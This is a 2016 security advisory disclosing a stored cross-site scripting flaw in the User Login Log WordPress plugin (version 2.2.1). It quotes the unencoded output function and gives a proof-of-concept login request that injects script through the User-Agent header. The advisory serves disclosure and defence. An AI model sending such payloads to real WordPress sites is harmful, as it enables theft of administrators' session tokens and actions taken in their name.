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Stored Cross-Site Scripting vulnerability in User Login Log WordPress
Plugin
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Axel Koolhaas, July 2016
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Abstract
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A stored Cross-Site Scripting vulnerability was found in the User Login
Log WordPress Plugin. This issue can be exploited by Subscriber (or
higher) and allows an attacker to perform a wide variety of actions,
such as stealing users' session tokens, or performing arbitrary actions
on their behalf.
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OVE ID
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OVE-20160724-0011
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Tested versions
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This issue was successfully tested on User Login Log WordPress Plugin
version 2.2.1.
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Fix
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There is currently no fix available.
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Details
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https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html
This vulnerability exists due to the lack of encoding of the User-Agent HTTP request header. This issue exists in method column_default() that is implemented in the file user-login-log.php.
function column_default($item, $column_name)
{
[...]
switch($column_name){
[...]
default:
return $item[$column_name];
}
}
Proof of concept
POST /wp-login.php HTTP/1.1
Host: <target>
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</script>XSS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,lzma,sdch
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded
log=<user name>&pwd=<password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
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goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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